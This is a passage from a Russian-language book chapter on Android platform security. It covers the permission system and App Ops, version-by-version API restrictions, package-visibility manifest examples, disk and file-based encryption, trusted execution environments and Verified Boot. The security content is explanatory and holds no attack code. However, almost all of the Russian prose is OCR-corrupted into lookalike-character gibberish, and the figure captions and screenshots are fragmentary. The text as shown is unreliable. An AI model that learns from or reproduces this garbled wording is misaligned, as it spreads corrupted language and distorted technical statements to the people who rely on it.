HHGOpPMaLHIO MPAaKTHUECKH 000 BCEX CHCTEMHBIX COOBITHAX: YCTaHOBKA TNPHIIOXKEHHS,
BKJIFOYEHHE/BBIKJIIOYEHHE dKpaHa, 3BOHOK, MOAKJIIOUEHHE 3apsJHOro YCTPOHCTBA U MHO-
roe ipyroe.

Ctporo rosops, Bce 3Ti API He ObuTH ySI3BUMOCTSAMH B NIPSIMOM cMbiciie cioBa. Hao6o-
pOT, OHH OTKpBIBJIH LIMPOKHE BO3MOXKHOCTH JJIs MPOTPaMMHUCTOB M, KaK CJEICTBHE,
noniszoBatenied. [Ipobnema tonbko B ToM, uto ecid B 2008 roay 3TH BO3MOXHOCTH He
co3zaBajid 0coObIX MpobsieM BBHIY OPHEHTHPOBAHHOCTH pPbIHKa CMapT(OHOB Ha 3HTY-
3MacTOB U OM3HECMEHOB, TO Yy>XK€ 4Yepe3 HECKOJIbKO JIeT, Koraa cMapThOHBI MOMYYHIN
pacrnpocTpaHeHHe Cpelld BCeX IpYIT HaceJeHHs, CTalo MOHATHO, YTO MPHIOKEHHS He-
00X0UMO OrpaHHYHBATb.

TTonHoMouuA

EcTte nBa cnocoba OrpaHHUYHUTDh TPHUIIOXKEHHUA B MpaBaX U HE NONYCTHTH HUX 3JIOBPEAHOIO
BJIMAHHUA Ha CUCTEMY H MNOJIb30BATEJIbCKHE NaHHBIEC!

1. Ype3aTb BO3ZMOXHOCTH BC€X MPUJIIOXKEHHH 1O MMHHMYyMa, Kak 3TO ObLIO cHefaHo
B J2ME.

2. T103BONUTH MONB30BATENIO KOHTPOJIMPOBATh JOCTYIHbBIE MPHIIOKEHHIO BO3MOXHOCTH
(myTs 108).

Android, HecMOTpsi Ha CyLIECTBOBaHME MOLUHOH CHCTEMBI pa3lesIeHHs] IMOJHOMOUHH
BHyTpH OC, He MO3BOJAI HU TOro HU Apyroro. IlepBbie HAMEKH Ha CHCTEMY IpaHyJsp-
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App ops

MESSAGING Hangouts

‘ DashClock Widget
- 1S

l‘l Download Manager
W receive WAP push

Read contacts

Receive SMS/MMS
oads : ;
ve WAP push Send SMS/MMS
(Never
otected Content Storage

\P push Post notification

i Google Play Store :
send SMS Camera

Jeve
i Google Search
il read SMS, wri SMS Record audio
Heve €
k Google Voice
O read SMS, receive SMS, wiite §

|‘l Media Storage
Ve

receive WAP push

®  MobileData

D read SMS, write SMS, send SMS

Mobile Network Configuration
» T Wi end SMS

Puc. 4.1. CxpbiToe Memo App Ops B Android 4.3

HOro KOHTPOJIA MOJTHOMOUHIA MOABHINCH ToJbko B Android 4.3 BMecTe cO CKpBIThIM pa3-
aenoM Hactpoek AppOpps (puc. 4.1.).

Mcnonb3ys 3TH HacTpOiikH, MONb30BaTENb MOT OTO3BaTh Y MPWIOXKEHHS JItoOble AOCTYI-
Hble €My MOJHOMOUHMS MO OTAeNbHOCTH. ONHAKO Ha3BaTh 3Ty CHCTeMy ynoGHO# M apy-
*eNoOHO# MO OTHOLLEHHIO K MOb30BaTeNO ObLIO HENb3s: YNpaBlieHHE pa3pelleHUsAMH
6b110 yepecuyp rpaHyJIpHbIM, MPUXOIHIOCh OPUEHTHPOBATBCS CPEAH AECATKOB pa3jivu-
HBIX pa3peLleHHii, CMbICT KOTOPbIX YacTo ObL1 HemoHATeH. [Ipu 3TOM 0oT3bIB NHOGOTO pas-
peLleHHs MOr MPHMBECTH (M 4acTO MPHBOAWI) K Maf€HHIO MPUJIOXKEHHs, T. K. B Android
npocto He 6bu10 API, KOTOpBIi GBI MO3BOMWI MPOrPAMMHUCTY MOHATH, HMEET €r0 MPHIIO-
)KEHHE pa3pelleHHe Ha BbIMOJIHEHHE TOro WIH HHOTO AeicTBHUA WM HeT. B urtore cucre-
ma AppOps 6bina ynanena u3 Android yxe B Bepcuu 4.4.2, u Tonbko B Android 6 et Ha
CMeHyY MpHLIIA CYLIECTBYOLLAs A0 CHX MOpP CHCTEMA MOJTHOMOUHIA.

B 3toT pa3 urxeHepsl Google mouuu ApyruM nyTeM H 06ObeAMHUIN CMEXHbIE MOJTHOMO-
Y{sd, MOJYYUB B MTOrE€ CEMb METANOJIHOMOYHH, KOTOpble MOryT ObITh 3ampolleHbl BO
BpeMs paboThl npuiaoxeHus. B ocHoBe cucTembl iexan HoBbi API, no3BonuBLUMi mpo-
rpaMMHMCTaM MpPOBEPATh JOCTYMHbIE MPHIOKEHHIO MOJHOMOYHSA W 3amMpalidBaTh HX
B HY>KHbI€ MOMEHTBI BPEMEHH.
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[To6o4HbIM 3¢)dekTOM Takoro Moaxona craia... 6ecrone3HocTb HOBOH cucTeMbl. Jleno
B TOM, YTO OHa paboTayia HCKIIOYMTETBHO B OTHOLUEHHH MPUIOKEHHUH, COOpaHHBIX AMs
Android 6.0 u Bbiwe. Pa3paGoT4ymk NPUIOKEHHS MOT yKa3aTh B MPaBHiIax cOOPKH JUPEK-
THUBY targetSdkversion 22 (T. €. Android 5.1), U ero npunaoxeHue NMpPOIOIDKHIO OBl MOTY-
4aTh BCE MOJTHOMOYHs B aBTOMaTH4YECKOM pexHMe.

Google Oblna BbIHYXK/I€HA peaTM30BaTh CUCTEMY UMEHHO TakKMM 00pa3oM, 4ToObl coxpa-
HHUTb COBMECTHMOCTBH CO cTapbiM codroM. [lo-HacTosuieMy oHa Hayana AEeHCTBOBAaTh
TOJIBKO CITYCTs Ba roaa, koraa Google Beena tpebosanue munumansHoro SDK B Google
Play, T. e. mpocto 3anperuna my6GiIMKOBaTh NMPUJIOKEHHs, cOOpaHHbIE Ui yCTapeBLUMX
Bepcuit OC. OkoHYaTeNnbHO peLleHHbIM Bonpoc cTal Tonbko B Android 14, koTopas nosn-
HOCTBIO 3alpeTuia yCTaHOBKY MPHIIOXKEHHH, coOpaHHbIi A Android 5.1 u Huxke.

B Android 11 cucrema monmHoOMouYMid OblIa pacliMpeHa W Tenepb MO3BOJISET MPENOCTaB-
JIATh pa3pelleHHe Ha Ty WJIHM MHYIO ONEepaluIo TOJIbKO Ha oOuH pa3. Kak Tonbko npuno-
»keHHe OyIeT CBepHYTO, OHO MOTEPAET pa3pelieHHe W ero NpUAeTcs 3anpalidBaTh CHOBA
(puc. 4.2).

B Android 12 okHo 3ampoca Ha JOCTYM K MOJHOMOYHIO OMNpEAENIEHHS MECTOMOIOKEHHS
pasfenuinoch Ha 1Ba, MO3BOJIAA MMOJIB30BATENIO JENUTHCA C MPHIOKEHHEM TOJNBKO MPH-
OIM3UTENIbHBIM MECTOMOJIOKEHHEM, aXE ECITH MPHIOKEHHE JKENAET Y3HATh TOUHOE.

B Android 13 nosBunoch MoMHOMOYHME Ha OTMPABKY YBEJOMJIEHHH, KOTOpoOe cpa3y Mo-
CYHTAJIM BECbMa CMOPHBIM, TaK Kak OHO YBEJIHYMBAET LIAHC «CJIEMOro HakaTus», Koraa
M0JIb30BaTeNIb HAYHHAET COTJIALLAThCS C 3aMpOCOM pa3pelleHHs MalIMHAIbHO, MOTOMY
YTO OKHO 3aMpoca 3TOro pa3pelleHUs MOSBISETCS MOYTH B KaXKAOM MPHI0XKEHHH.

Hapsany ¢ cucremoit monHomounit B Android 12 Takke nosBuiaach Mo3auMCTBOBaHHas
y i0S cucTeMa yBeJOMIIEHHS MOJIb30BATEN O TEKYLUEM PEXHME MCIOIb30BaHUs KaMephbl
1 MUKpodoHa. Eciu oHO U3 NpHUI0keHHH HCMONb3yeT UX B JaHHbII MOMEHT, B BEPXHEM
MpaBOM YINIy OTOOpaXkaloTCsi TOUKH-CHMrHanu3aTopbl. [losBuiachk Takke BO3MOXKHOCTB
BPEMEHHO OTKJIIOYHTb JOCTYI K KaMepe U MUKPOGOHY C MCIMOJIb30BaHHEM MepeKioyare-
Jed B MaHenu yBelOMJIEHHH. B ciydae uMX BKJIIOYEHHS BMECTO KapTHHKH C KaMepsl U
JaHHBIX C MUKpO(OHa NPUJIOXKEHHUs OyIyT MOMy4aTh MyCTOH MOTOK AaHHBIX.

0

Allow My app to access this
device’s location?

Only this time
While using the app

Deny

Puc. 4.2. OgHopasosbie paspetueHus 8 Android 11
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OrpaHuyeHus

Cucrema ynpaBneHHs pa3pelleHHMIMH — TOJBKO 4acThb pelleHHs npobinemsl. Bropas
4acTh — 3aMpeT Ha UCMojb30BaHKe onacHbIX API. MoXHO 101ro CriopuTh, CTOMT JIH 1O-
3BOJIATh CTOPOHHMM MpuiokeHHaM nony4yats IMEI Tenedona ¢ noMolupio pa3peleHu,
WM HeoOXOOMMO 3ampeTHTh Aenath 3710 Bosce. [na Google, Bxondiuei B 3Moxy TOTasb-
HOTO NOMELIATENBCTBA Ha IPHBATHOCTH, OTBET ObLT OYEBHEH.

Hecmotps Ha To yto Google u paHblie BBOAMIA 3alpeThl Ha HCMONb30BaHHE TE€X WIH
uHBIX API (MOXXHO BCIOMHHTB, HalIPUMED, 3alpeT Ha BKJIIOUYEHHE PEXXHUMa MOJeTa U MoA-
TBEPXKAEHHE OTNpaBkH SMS Ha kopoTkue HoMepa B Android 4.2), akTHBHbIE GOEBbIE
JIeHCTBHA Hayauch Tonbko B 2017 rony.

Hauunnas ¢ Bocemo# BepcuH, Android ckpeiBaeT MHOrHE HAEHTH(HKATOPHl YCTPOHCTBA
OT MpUIOXKeHHH U Apyrux yctpoicTB. Android ID (Settings.Secure.ANDROID ID) — YHH-
KanbHBI HaeHTHdUKaTop Android, Temepp pasnuueH AN KaXKAOrO YCTAHOBJIEHHOrO
npunoxenus. CepuiiHbIH HOMep YycTpoHcTBa (android.os.Build.SERIAL) HENOCTYINEH
npwiokeHusaM, cobpaHHeiM 1 Android 8 u Beime. Copepxumoe mNepeMEHHOM
net.hostname Teneps Mmycto, a DHCP-k1HeHT Termepp HHKOrJa He MOCHLUIAET XOCTHEHM
DHCP-cepBepy. Ctanu HeZOCTYMHBI HEKOTOpBIE CHCTEMHBIE MEPEMEHHbIE, HalpHMEP
ro.runtime. firstboot (Millisecond-precise timestamp of first boot after last wipe or most
recent boot).

Hauunnas ¢ Android 9, npunoxxeHus 6osble He MOTYT POYUTATh CEPUHHBIA HOMEpP YCT-
poiicTBa 6e3 MOMHOMOYMA READ PHONE STATE. B Android 10 mosBMIOCE OrpaHHueHHE Ha
noctyn k IMEI u IMSI. Yto6s1 npountaTh 3Ty HHGOpMaLHIO, Tenepb TpedyeTcs paspe-
II€HHEe READ PRIVILEGED PHONE STATE, HE[IOCTYITHOE CTOPOHHHM NPHIOXKEHHAM.

Hna nonyuenus MAC-agpeca Bluetooth B Android 8 u Beile TpeGyeTcs paspelueHHe
LocAL MAC ADDRESS, a MAC-anpec Wi-Fi paHnoMusupyercs nmpu npoBepke XOCTYMHBIX
ceredt (4ToObI H30eXkaTh TPEKHHIa MOJIb30BATENEH, HAaNpUMeEp MOKyMNaTesneil B TOProBbIX
LIEHTpaXx).

B Andorid 9 Google moiia HaMHOro Janbliie ¥ BBeJa 3aNpeThl Ha HCMOIb30BaHHE KaMe-
pbl, MHKpO(OHa H JIIOOBIX CEHCOPOB, MOKa MPUJIOKEHHE HAXOAWTCA B (oHE (OCTABHB
BO3MOXXHOCTh HCIIOJIB30BaTh KaMepy U MHKPOOH «BHAMMBIM cepBHcam» — foreground
service). B Android 10 k 3TumM 3anperam mo6aBuics 3ampeT Ha AOCTYN K MECTOIMOJIOXe-
HHIO B QOHe (Tenepb A 3TOro HyXHO pa3peLIeHHe ACCESS BACKGROUND LOCATION) M 3alpeT
Ha uyteHHe 6ydepa o6MeHa B poHe (Hy>KHO pa3peleHHe READ CLIPBOARD IN BACKGROUND).

Ewme omHo BaxkxHoe HoBoBBeneHHe Android 9 — momHEIA 3ampeT Ha HCHONb30BaHHE
HTTP 6e3 TLS (T. e. 63 mmppoBaHus) a1 BceX MPUIOKEHHH, cOOpaHHBIX 1S HOBOH
Bepcud Android. OTO orpaHHUeHHE TEM HE MEHee MOXKHO OOOMTH, €ciii yka3athb B (aii-
e HacTpoek O6e30macHOCTH ceTH (network security config.xml, https://developer.
android.com/training/articles/security-config.html) cnucok pa3peleHHbIX JOMEHOB.

Android 10 BBen 3ampeT Ha 3aIMycK aKTHBHOCTEH (IO CYTH, 3aMyCK MPHJIOKEHHI) GOoHO-
BBIMH MNpWIokeHHAMH. HckimoueHus chaenansl And  bound-cepBHCOB, TakMX Kak
Accessibility u cepBucel aBTO3anosHeHHs. [IpuyoKeHUd, HUCMONB3YIOLIHE pa3peLIeHHe
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SYSTEM ALERT WINDOW, M TMPHJIOXEHHS, MOJYyyalollMe HMMS aKTMBHOCTM B CHCTEMHOM
Pendinglntent, Takke MoryT 3amyckaTb akTUBHOCTH B ¢oHe. [ToMUMO 3TOro. npuioxe-
HUS Terepb He MOTYT 3anyckaTb OMHapHble daitnbl U3 cOOCTBEHHOro NMPUBATHOrO KaTa-
Jora. 3To y>Ke npuBeso k npodaemam B pabote nonynsipHoro npuioxenus Termux.

Hauunas ¢ Android 11, npunoxeHus 6oblie HE MOTYT NONAYYHUTb MPAMOH OCTYM K Kap-
Te NamsaTH (BHYTPEHHEHN MM BHELIHEHN) C MOMOLLbIO pa3pelleHHH READ EXTERNAL STORAGE
M WRITE EXTERNAL STORAGE. BMecTo 3Toro cneayer ucrnonb3oBaThb JIMOO JIMUHBIA KaTanor
NPUIOXKEHUS BHYTPH /sdcard/Android (OH CO3JaeTcs aBTOMAaTHYeCKH WM He TpeOyer pas-
peuleHuit), n1ubo Storage Access Framework, He nonyckarolwmi 10CcTyn K JaHHbIM Jpy-
IUX MPUI0XKEHHUH.

HHurepecHo, uto Google orpaHM4YMBaeT CTOPOHHHE MPHUIIOXKEHHS HE TOJbKO CpeACTBaMHU
onepauuoHHoi cuctembl. B koHue 2018 roma B Google Play nosiBunoch TpeboBaHue,
riacsiuee, YTo BCE MPHIOKEHHS, UCNONB3YIOLLHE pa3peuleHus Ha uteHre SMS U xxypHa-
Jla 3BOHKOB, JOJIKHbI OTHOCHTBCS K OJHOMY M3 pa3pelUeHHbIX THMOB MPHJIOXKEHHH W
B 00s13aTeNbHOM MOpsAAKe MPOXOAMTh PYUHYHO npemopepauuto. [locneacTeuem Takoro
Lara cTajgo yaajleHHe W3 MapKeTa MHOTHX MOJIE3HbIX MHCTPYMEHTOB, aBTOPbl KOTOPbIX
npocTo He cMoriu obocHoBaTh nepea Google MpUUMHY MCMONB30BAHUSA TEX MW HMHBIX
pa3peLueHHH.

3anpeT A0OCTyNa k Apyrum NpUNOXKEHUIM

Ho Bepcun 11 Android npenoctaensn BrnosHe odbuumanbHbiii APl nns nonyuyeHus uH-
dopmaunu 060 Bcex yCTaHOBJIEHHBIX Ha cMapTdoHe MpUIOXKeHUAX (MUMs, BEPCHS, BpeMs
YCTaHOBKH W T. /1.) M HE HaK/a/blBaJl HUKAKWX 3aMpeToB Ha 3anyck Jto0bIX MPUIOKEHHH.
OTUM NoNb30BaIUCh HE TOJbKO CTOPOHHHE MEHEKepbl NPUIOKEHH, NaHeau ObicTporo
3anycka M JIpyrod nonesHblii copT, HO M pa3HOro poaa MajiBapb U He100pPOCOBECTHbIE
pa3paboTuMkKH, CliMBatoLLHe HHOPMALIUIO HA CTOPOHY.

Hauunas ¢ Andorid 11, cuctema Hauana orpaHUYMBaTh JOCTYMHbINA MPUIOKEHHAM, COO-
paHHbIM UMeHHO A3 3Toi Bepcuu OC (targetSdkversion = 30), CMMCOK YCTAHOBJIEHHbIX
NPUNIOXKEHUI, U 00s3bIBaeT pa3pabOTUMKOB MEPEYUCIATh B MaHUpecTe MpUIOKEHHS,
C KOTOPbIMH NpOrpamMMa aBTOpa XO4YeT KOHTaKTHPOBATh:

<manifest package="com.example.game">
<queries>

<package android:name="com.example.store" />
<package android:name="com.example.service" />
</queries>

</manifest>
KpoMme caMux npuioXKeHHH, TaKke MOXHO MEepPeYUCIUTh TUIMbl UHTEHTOB, KOTOPbIE CO-

OupaeTcs Mcronb3oBaTh nporpamma (B cieay:OLleM NpUMeEpe NpUIOKEHHE 3asBiseT
0 CBOEM HaMepeHHH JIeJTUThCS H300paXKEHUAMH C APYTHMH MPUIIOKEHHUAMH):
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<manifest package="com.example.game">

<queries>
<intent>
<action android:name="android.intent.action.SEND" />
<data android:mimeType="image/jpeg" />
</intent>
</queries>

</manifest>

Jlns nayH4epoB M Apyrux NPHIOXKEHHH, KOTOPbIM HEOOXOAUM IOCTYM KO BCEM YCTaHOB-
JIEHHBIM TPHJIOKEHHUAM, NMPEAYCMOTPEHO HOBOE pa3pelleHHe QUERY ALL PACKAGES (https://
developer.android.com/preview/privacy/package-visibility#all-apps). Ho nns ero uc-
MOJIb30BaHHUSA MPHIETCA MPOXOAUTH PYHHYIO MPEMOJEPLHMIO.

Hauunas ¢ Android 11, cuctema uckio4aeT U3 auanora BeiOopa MpUIoXKeHHS-KaMephl,
MPUIIOKEHHA, YCTAaHOBJIEHHbIE W3 MapKeTa WJIM APYrHX MCTOuHHKOB. CrenaHo 3To Ans
60pbObI CO 370BpEHbIMU MPHIOKEHHAMH, KOTOpble MOrYT OTMPAaBiATh CAeJaHHbIE
nonb30BaTeleM CHHMKH TpeTbMM jauuaMm. OfHako y pa3paboTYHKOB OCTAaeTCs BO3MOX-
HOCTb 3aMyCTHTb KOHKPETHOE MPHII0KEHHE-KaMepy HarpsaMyIo.

CrnHMCOK HHTEHTOB, Ha KOTOPbIE PacMpOCTPAHAETCS OrpaHHUYEHHE:
O android.media.action.VIDEO CAPTURE;
O android.media.action.IMAGE CAPTURE;

O android.media.action.IMAGECAPTURESECURE.

LLingpposaHue AaHHLIX

[lpaBa moctyna v apyrue orpaHM4YeHHs BPEMEHH MCTOJIHEHHS — XOpoluas 3all{Ta 10
TeX Mop, NOKa 3J0yMBILIIEHHHK HE MOMYy4YHT PU3HUecKHi AocTyn K ycTpoiicTBy. Ho urto
Oyner, ecnu 3abbIThIl Mosib30BaTesleM CMapTOH MOMAAET B PYKH MOArOTOBIEHHOrO
xakepa? MHorue ycTpoicTBa Bo BpeMeHa nepBbix Bepcuit OC umenu ys3BUMOCTH B 3a-
rpy3udke UiaH He OjokupoBanu ero BoBce. [loaTtomy cHate aamn NAND-naMsaTH Obiio
npotiie npocToro.

Jns 60pb6bI ¢ 3TO0H npobaemoit B Android 3.0 nosBunace BcTpoeHHas GyHkUMs wudpo-
BaHMs aHHbIX, OCHOBAaHHAs Ha MPOBEPEHHOM roJjaMH U COTHAMH ThICSY MOJb30BaTeNeH
moayne Linux-sapa dm-crypt (puc. 4.3). HauuHas ¢ Android 5, 3ta dyHkuus crana o6s-
3aTenbHOH, T. e. Google noTpeboBana BKJIOYHUTb €€ 11 BCEX YCTPOHCTB C MOAAEPIKKOM
XapJBapHOro YCKOpeHHs LndpoBaHus (3TO B MepBylo ovepenb 64-OUTHbIE MPOLIECCOPBI
ARM).

Cucrema wndpoBaHus Obina craHaapTHOH. Pa3zen userdata MWIMGPOBANCA ¢ MOMOLIBIO
monayns dm-crypt anroputMmom AES-128 B pexxume CBC c 3aneiicTBoBaHHEM (dYHKLHH
ESSIV:SHA256 nns nonydeHus BekTopoB HHMUManu3auuu (IV). Kmou mwmdpoBanus
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65L1 3ammieH ¢ nomousio KEK-knioua, kotopelit Mor 6biTh monydeH uiau U3 PIN-kona
C MOMOLUBIO MPOrOHKH Yepe3 PYHKLHIO script HWIH CTEHEPHPOBaH CITy4aifHbIM 00pa3oM U
coxpaHeH B TEE. Ilpu 3ToM, eciu nons3oBarens kynun cmaptdoH Ha 6a3e Android 5.0
C aKTHBMPOBAHHBIM MO YMONYaHHIO LIMdpoBaHHEM M 3aTeM yctaHoBua PIN-kxon, no-
clieIHMH Taloke Hcronb3oBaics 1A reHepauui KEK.

13:41 )62

€  3awudposatb AaHHble

Bbl MOXeTe 3almudpoBaTh CBOU aKKayHTbI, |
HaCTPONKK, CKa4YaHHbIe NPUNOKEHUA N UX
AaHHble, a TakXe MeanaaaHHbie u apyrue
davinbl Ha ycTponcTse. flocne atoro ans
pacwudpoBku BaM byaeT Heob6xoaumMo

| NpWU KaXa0M BKNHOYEHUU YyCTPOWCTBA

| pa36bnokuMpoBaTb 3KPaH, ECNKU HAaCTpoeHa
ero 6nokupoBkKa (rpapuyeckun knwou, PIN-
KoA unu naponsb). fipyrox cnoco6
paclundpoBKKU ~ ITO COPOCUTL HACTPOWKHU
TenedoHa, B pesynoTaTe Yero BCe AaHHbie
6yayT yaaneHol.

06bi4HO WKdpoBaHME AAHHbIX 3aHUMaeT
0KONOo Yaca unu 6onee. Mepen
npoueaypov NONHOCTbIO 3apAauTe
6aTapeto U He OTKNYanTe 3apagHoe
YyCTPOWUCTBO, NOKa LinppoBaHUue He
3aBepLuutca. Ecnu npepeaTb npouecc, ace

Puc. 4.3. Biniouerve wnpoBaHnA JaHHbiX
®yHKuMA script uA nomy4eHus kmo4a 3 PIN-kona uenonb3yercs, HaunHas ¢ Android 4.4.
OHa 3ameHuna paHee npuMeHsuiuiics anroputm PBKDF, ysa3Bumblid s moabopa Ha
GPU (6-31aunbiii uudposoii PIN 3a 10 cexyHn, 6-3HauHbIf 3HaKoOBBI — 4 4aca c Io-
Motuusto hashcat), Toraa kak script, 1o 3asBJIEHHIO CO3/aTeslel, YBEIHYHBAT BpeMA MOA-

6opa npumepHo B 20 000 pa3 u Boo6we He nmoaxonwn mis GPU nmo npuuMHe BBICOKMX
Tpe60BaHHU# K MaMATH.

K coxanenuio, npu Bcex crapaHusax Google cHcTeMa MOJHOAMCKOBOro IIM(pOBaHHA
(FDE — Full Disk Encryption) nponomkana cTpaaath OT psiia KOHUENTyalbHbIX HEA0C-
TaTKOB:

1. FDE He no3Bossin HCMob30BaTh pa3Hble KIOYH IHGPOBaHHUS AJIA pa3IMuHbIX obiac-
Teid HNaHHBIX M mnonb3oBatenedi. Hanpumep, He mno3sonsn 3ammdposats pasnen
Android for Work ¢ moMoLupl0 KOpPIOPaTUBHOrO KJIKOYa MpEINpPUATHA HWIH pac-
mHpoBaTh KPUTHYECKHE IS OCHOBOH QYHKLHMOHAIBHOCTH cMapT¢doHa NaHHbIe 6e3 -
3anpoca rnapoJisi oJjib30BaTes.
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2. ocekTopHoe wM(pOBaHHE CBOAWIIO Ha HET BCE ONTHMH3ALMH, PEaJH30BaHHBbIE HA
yPOBHE [paiBepoB (aiIoBbIX CHCTEM. YCTPOHCTBO NpPAKTHYECKH HEMPEPHIBHO
BBIMOJIHANIO paclIMPpPOBKY CEKTOPOB M 3alIM(PPOBBIBATIO MX BHOBb, MOIH(ULHMpYS
coaepxumoe pasgena. [Toaromy FDE Bcerna npuBoaui K 3aMETHOMY MaJ€HHUIO MpO-
U3BOJMTENIFHOCTH M COKPALLEHHIO BpEMEHH aBTOHOMHOMN paboThl yCTPOHCTBA.

3. FDE He moanepx#Basl NMpoBepKYy MOMIMHHOCTH COIepKHUMOro cekropos. Mx ciuin-
KOM MHOTO, U Cpeld HHX BpeMs OT BPEMEHH MOABIAIOTCS cOOiHble, MepeHa3Hayae-
Mble KOHTPOJUIEPOM B pe3€pBHYIO 00JIacTh.

4. Kpunrorpadpuueckas cxema AES-CBC-ESSIV 6buta ys3BUMOH k yTeuke HaHHBIX,
T. K. JONYCKajla onpeneeHue TOYKH WX u3MeHeHHus. OHa Mo3BosIsia BBIMOJHATD aTa-
KM 110 THUIYy NOAMEHBI U MEepeMELLEHHS.

Pewenuem crana cucrtema nocdainoporo mmdporanus B Android 7 (FBE — File-Based
Encryption). Ona ucnonssyer ¢ynkumio mudpopanus dainosbix cucreM Ext4 u F2FS
IUIs paszzenbHoro mudpoBanus kaxaoro ¢aiina mo anroputMmy AES, Ho yxe B mpyrom
pexume — XTS. Otot pexxum paspabatbiBasics cneuyanbHO Ui LIHGPOBaHUS GIOYHBIX
YCTPOHMCTB U HEe UMeeT TUNU4YHBIX Wi pexkuMa CBC yszBumocTtei. B yactHocTH, XTS He
MO3BOJISET ONpENENUTh TOUKY M3MEHEHHS NaHHBIX, HE NMOABEPXKEH YTeukaM, YCTOHYHB
K aTakaM MOIMEHBI U MepeMeLIEeHHs.

Briote 10 mocnenHero BpemeHH Google MO3BOMSI MPOU3BOAMTENSIM CMapTHOHOB HC-
TMOJIB30BATh JIFOOOH U3 UMEIOLIHMXCS MEXaHU3MOB LIMGpOBaHus, HO, HaunHas ¢ Android 10,
FBE ctan obs3atensHbiM. bonee Toro, HaunHas ¢ Android 9, mudposanue crano obs3a-
TEeJIbHBIM HEe TOJIBKO [UIS YCTPOHCTB C XapABapHOH Motepxkoi mHuppoBaHHs, HO U BO-
o011e Bcex YCTPOHCTB.

Takast BO3MOXHOCTh NMOsBHIIACh Oyiarogaps paspaboranHomy B Google MexaHuzMy Lud-
poBanus Adiantum. OH 6a3upyercs Ha ObicTpoii xem-¢pyHkuun NH, anroputme ayteH-
tudukauuu coodbuienuit (MAC) Polyl305 u morokoBom mudppe XChaChal2. B tecrax
Ha npoueccope ARM Cortex-A7 Adiantum mnoka3piBaeT NMATHKPaTHOE MPEBOCXOACTBO
B cKopocTH uppoBanus Hax AES-256-XTS.

NosepeHHaa cpeaa ucnonHeHus

BaxxHpIM HoBIIECTBOM cucTeMbl HdpoBanus Android 5 crana BO3MOXHOCTb XpaHHTh
Kmoy mudpoBaHus B noBepeHHoH cpene ucnonHenus (Trusted Execution Environ-
ment — TEE). Peub uper o BbiA€JIEHHOM MHKPOKOMITBIOTEPE BHYTPH WJIM PSAOOM C MO-
OWIbHBIM YMINIOM, KOTOpBIH HMeeT cobcTBeHHylo OC M OTBeYaeT HCKIIOYMTETBHO 3a
wKMdpoBaHHE JAHHBIX, XpaHEHHE KJIIOYeH MH(POBAHUA U APYroi BaxkHOH MHGOpMAaLHH.
Hoctyn k TakoMy MukpollK umeer nuiub He60nbLIOH cepBUC BHYTPH OCHOBHOH cHCTe-
MBI, TaK YTO KOMIIPOMETALHsi CHCTEMBI HE MPHUBOIMUT K YTEUKE CaMHX KJIIOYEH.

Haunbonee u3sectHas peanuzauus TEE — TrustZone (puc. 4.4), ucnonszyemasi B 4urce-
tax Qualcomm (ee, kcTaTH, yke B3nambiBaiH). [Ipyrue npou3BOAUTEIH MOTYT HUCHOJb-
30BaTh cOOCTBEHHble peanuzauuu. Hanpumep, B cmaprdoHax Samsung ucrosib3yercs
peanuzauus TEE non ynpaenennem onepauuonHoil cuctembl Kinibi, paspaboranHoit
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komnanue# Trustsonic (Samsung Galaxy S3-89), nu6o cucremsr TEEGRIS 3a aBTopet-
BOM HHXxeHepoB camoii Samsung (Samsung Galaxy S10 u Bbiwue).

Cmaptdonbl nuHeiikn Pixel (HaunHas c Pixel 3/3XL) ucrnone3yloT BblaeNE€HHBIA 4dN
Titan M, pa3paGotaHHbiii ¥ npon3BoauMbIH camoit Google. 3ro MoOunbHas Bepcus cep-
BepHoro yuna Titan, kOTOpas HCMONB3YETCA B TOM YHCJIE IS XpaHEHHs Knoyed wudpopa-
HHA M CYETYMKA OTKAaTOB, NPHMEHAEMOro CHcTeMo# noBepeHHoH 3arpy3ku Verified Boot
(o Heit uyTh NO3KeE), a Taloke peanusyeT ¢pyHkuMo Android Protected Confirmation (https://
android-developers.googleblog.com/2018/10/android-protected-confirmation.html),
TMO3BOJIAIOLLYIO MaTEMaTHYECKH 10Ka3aTh, YTO MOJb30BaTeNb AEHCTBUTENBHO YBUAEN TOT
WM MHOM JHAIOr MOATBEPXKAEHHS M YTO OTBET Ha 3TOT AMAIOr He ObUI nepexBayeH U
KakuM-JIH60 00pa3oM u3MeHeH. Uun uMeeT npaMylo 3J1eKTPHYECKYIO CBA3b ¢ GOKOBBIMH
KI1aBHLIaMH cMapTdoHa U GiokupyeT MX NpH monbiTkax B3noMa. Titan M (puc. 4.5) —
cBoero poxa aHanor yuna Secure Enclave, koTopblit Apple yxe Heckonbko JIET npeayc-
TaHaB/IMBaeT B CBOH cMapTdoHbl. bnaromaps Tomy, uto Titan M — 3T0 BbLAENEHHBIH
MukpokoMnbioTep (Ha 6aze ARM Cortex-M3), He cBA3aHHBII ¢ OCHOBHBIM MPOLIECCOPOM,
OH ycToH4MB K aTakaM THrna Rowhammer, Spectre u Meltdown.

[osepeHHasa 3arpyska

Ewe B Android 4.4 Google peannzoBana mexanusMm Verified Boot. Ha kaxcnom 3tane 3a-
rpy3kd (MEepBHYHBIA 3arpy3YdKk — BTOpHYHBIH — aboot — sgpo Linux — cucrema
Android) onepanMoHHas cHCTeMa NpOBEpPAET LEJIOCTHOCTh CJENYHOLIEro KOMIOHEHTa
(3arpy34ukH 1o uMGpoBLIM MOAMKCAM, SAPO MO KOHTPOJIBHOH CyMMe, CUCTEMY 110 KOH-
TponbHO# cymMmMe DC) U MOXKET NMpeaNPHHAT NeHCTBUA, €CIIH KOMIIOHEHT ObLT H3MEHEH.

Jlonroe BpeMs MeXaHW3M HAXOAWJICA B CTaUH Pa3BUTHA, H TOJIBKO C BbimyckoM Android 7
Hayy4uJics noJsiaratbes Ha xapaBapHoe xpaHunuule kntoded (TEE) u 3anpeinats 3arpy3ky
B CJIy4ae KOMIPOMETALMH OJHOrO W3 KOMIIOHEHTOB (€CJIH 3TOro 3aXO4eT MPOU3BOJUTEINh
yCTpO¥iCTBa).

Hauunas ¢ Android 8, B cocraBe Verified Boot nosBunace opuunanbHas peain3auus
(https://android.googlesource.com/platform/external/avb/#Rollback-Protection) 3a-
LUUTBI OT JayHrpeina, Koraa CHCTeMa IBHO 3alpellaeT YCTaHOBKY CTapbiX BEpPCHH mNpo-
LIIUBOK.

JlayHrpeda omaceH TeM, YTO MOXeT ObITh HCMONB30BaH AJA MOJYYEHHS [OCTymna
K cMapT(oHy ¢ MOMOLUbIO «BO3BpalLeHHs CTapbix OaroB». [lomycTHM, uYenoBek YKpa

(Opyrue
